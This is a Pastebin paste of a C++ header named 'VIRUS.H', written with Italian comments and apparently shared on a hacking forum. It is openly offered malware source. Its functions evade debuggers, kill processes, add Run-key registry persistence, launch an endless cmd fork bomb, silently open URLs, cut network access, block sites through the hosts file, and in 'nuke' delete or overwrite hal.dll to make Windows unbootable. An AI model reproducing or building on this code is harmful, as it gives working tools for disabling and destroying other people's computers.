Advertisement
DatAssmlmlml

VIRUS.H - SCIAX2

Sep 2nd, 2014
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.98 KB | None | 0 0
  1. /**
  2.  
  3. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  4.  
  5. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  6.  
  7. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  8.  
  9. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  10.  
  11. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  12.  
  13. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  14.  
  15. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  16.  
  17. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  18.  
  19. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  20.  
  21. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  22.  
  23. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  24.  
  25. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  26.  
  27. Questa versione è stata rilasciata SOLO PER SCIAX2!!!!!!
  28.  
  29. */
  30.  
  31.  
  32. #include <windows.h>
  33. #include <stdio.h>
  34. #include <fstream>
  35. #include <string>
  36. #include <process.h>
  37. #include <Tlhelp32.h>
  38. #include <winbase.h>
  39.  
  40. using namespace std;
  41. /**
  42. -------------------------------------------------------------
  43.              ,----------------,              ,---------,
  44.         ,-----------------------,          ,"        ,"|
  45.       ,"                      ,"|        ,"        ,"  |
  46.      +-----------------------+  |      ,"        ,"    |
  47.      |  .-----------------.  |  |     +---------+      |
  48.      |  |                 |  |  |     | -==----'|      |
  49.      |  |  Credits:       |  |  |     |         |      |
  50.      |  |  Neartec.       |  |  |/----|`---=    |      |
  51.      |  |CodeR: Capt. Hog.|  |  |   ,/|==== ooo |      ;
  52.      |  |                 |  |  |  // |(((( [33]|    ,"
  53.      |  `-----------------'  |," .;'| |((((     |  ,"
  54.      +-----------------------+  ;;  | |         |,"
  55.         /_)______________(_/  //'   | +---------+
  56.    ___________________________/___  `,
  57.   /  oooooooooooooooo  .o.  oooo /,   \,"-----------
  58.  / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
  59. /_==__==========__==_ooo__ooo=_/'   /___________,"
  60. `-----------------------------'
  61.  
  62.  
  63.  
  64.  
  65. Repilogo funzioni:
  66. ----------------------------------------------------------------
  67. ramrabbit(true/false) (crea un ram rabbit) TRUE = Cmd flood FALSE = invisible
  68. disabilita_internet (tenta di disabilare internet)
  69. riabilita_internet(riabilita internet)
  70. nuke(); //tenta di mandare in fail il sistema operativo
  71. bloccasito(string nomesito)
  72. mostraconsole();
  73. togliconsole();
  74. spengipc();
  75. riavviaoc();
  76. aprisito(url)
  77. connettitibackground(url)
  78. imposta_avvio("C:\\... percorso.. .exe","java.exe");
  79. killa_processo("nomeprocessosenza.exe");
  80. protezioni(TRUE|FALSE) //Da mettere in un thread separato
  81. ----------------------------------------------------------------
  82. */
  83.  
  84.  
  85.  
  86. bool protezioni(bool stato){ //ne vado fiero :3
  87.     while(TRUE){
  88.     if(stato){
  89.         bool isdbg = IsDebuggerPresent();
  90.         if(isdbg){exit(1);}else{
  91.            
  92.         }
  93.     }else{  }}
  94. }
  95.  
  96.  
  97. void killa_processo(const char *filename)
  98. {
  99.     HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
  100.     PROCESSENTRY32 pEntry;
  101.     pEntry.dwSize = sizeof (pEntry);
  102.     BOOL hRes = Process32First(hSnapShot, &pEntry);
  103.     while (hRes)
  104.     {
  105.         if (strcmp(pEntry.szExeFile, filename) == 0)
  106.         {
  107.             HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
  108.                                           (DWORD) pEntry.th32ProcessID);
  109.             if (hProcess != NULL)
  110.             {
  111.                 TerminateProcess(hProcess, 9);
  112.                 CloseHandle(hProcess);
  113.             }
  114.         }
  115.         hRes = Process32Next(hSnapShot, &pEntry);
  116.     }
  117.     CloseHandle(hSnapShot);
  118. }
  119.  
  120. void imposta_avvio(char * percorso, char * processo){
  121.     HKEY hkey;
  122.     char * pablo = percorso;
  123.     char * nomeprocesso = processo;
  124.     try{ //Infetta la local machine
  125.         RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Currentversion\\Run", 0, KEY_SET_VALUE, &hkey);
  126.         RegSetValueEx (hkey, nomeprocesso, 0, REG_SZ, (LPBYTE) pablo, strlen(pablo) + 1);
  127.         RegCloseKey(hkey);
  128.     }catch(...){
  129.        
  130.     }
  131.     HKEY utentecorrente;
  132.     char * percorso2 = percorso;
  133.     char * processo2 = processo;
  134.    
  135.     try{
  136.         RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsft\\Windows\\Currentversion\\Run",0,KEY_SET_VALUE, &utentecorrente);
  137.         RegSetValueEx(utentecorrente, processo2, 0,REG_SZ,(LPBYTE) percorso2, strlen(percorso2) + 1);
  138.         RegCloseKey(utentecorrente);
  139.     }catch(...){
  140.        
  141.     }
  142.    
  143. }
  144.  
  145. void connettitibackground(const char * sito2){
  146.     ShellExecute(0, 0, sito2, 0, 0 , SW_HIDE );
  147. }
  148. void aprisito(const char * sito){
  149.     ShellExecute(0, 0, sito, 0, 0 , SW_SHOW );
  150. }
  151.  
  152. void fork_core(){
  153.         while(TRUE){
  154.         ShellExecuteA(NULL,"open","cmd",NULL,NULL,SW_SHOW);
  155.         }
  156.  
  157. }
  158. void fork_coredue(){
  159.         while(TRUE){
  160.         ShellExecuteA(NULL,"open","cmd",NULL,NULL,SW_SHOW);
  161.         }
  162.  
  163. }
  164. bool ramrabbit(bool metodo){ //0 -= invisible, 1 = visibile
  165.     if(metodo){
  166.         CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fork_coredue, 0, 0, 0);
  167.     }else{
  168.         CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fork_core, 0, 0, 0);
  169.     }
  170.    
  171. }
  172.  
  173. bool fexist(const char *fileName)
  174. {
  175.     std::ifstream infile(fileName);
  176.     return infile.good();
  177. }
  178. void disabilita_internet(){
  179.     system("ipconfig/release");
  180.    
  181. }
  182. void riabilita_internet(){
  183.     system("ipconfig/renew");
  184.    
  185. }
  186. bool nuke(){
  187.     if(fexist("C:\\Windows\\system32\\hal.dll")){
  188.         try{
  189.             remove("C:\\Windows\\system32\\hal.dll");
  190.         }
  191.         catch(...){
  192.             ofstream corrompi;
  193.             corrompi.open("C:\\Windows\\system32\\hal.dll");
  194.             corrompi << "0x0x0x0x00x0x0x";
  195.         }
  196.        
  197.     }else{
  198.        
  199.     }
  200. }
  201.  
  202. void bloccasito(string sito){
  203.     ofstream hostsfile;
  204.     hostsfile.open("C:\\Windows\\system32\\drivers\\etc\\hosts");
  205.     hostsfile << "\n";
  206.     string payload = "127.0.0.1    " + sito;
  207.     try{
  208.             hostsfile << "\n";
  209.             hostsfile << payload;
  210.     }
  211.     catch(...){
  212.        
  213.     }
  214.    
  215. }
  216.  
  217. void mostraconsole(){
  218.     HWND hwnd_win = GetForegroundWindow();
  219.     ShowWindow(hwnd_win,SW_SHOW);  
  220.    
  221. }
  222. void togliconsole(){
  223.     HWND hwnd_win = GetForegroundWindow();
  224.     ShowWindow(hwnd_win,SW_HIDE);      
  225. }
  226. void spengipc(){
  227.     system("shutdown -s");
  228. }
  229. void riavviapc(){
  230.     system("shutdown -r");
  231. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement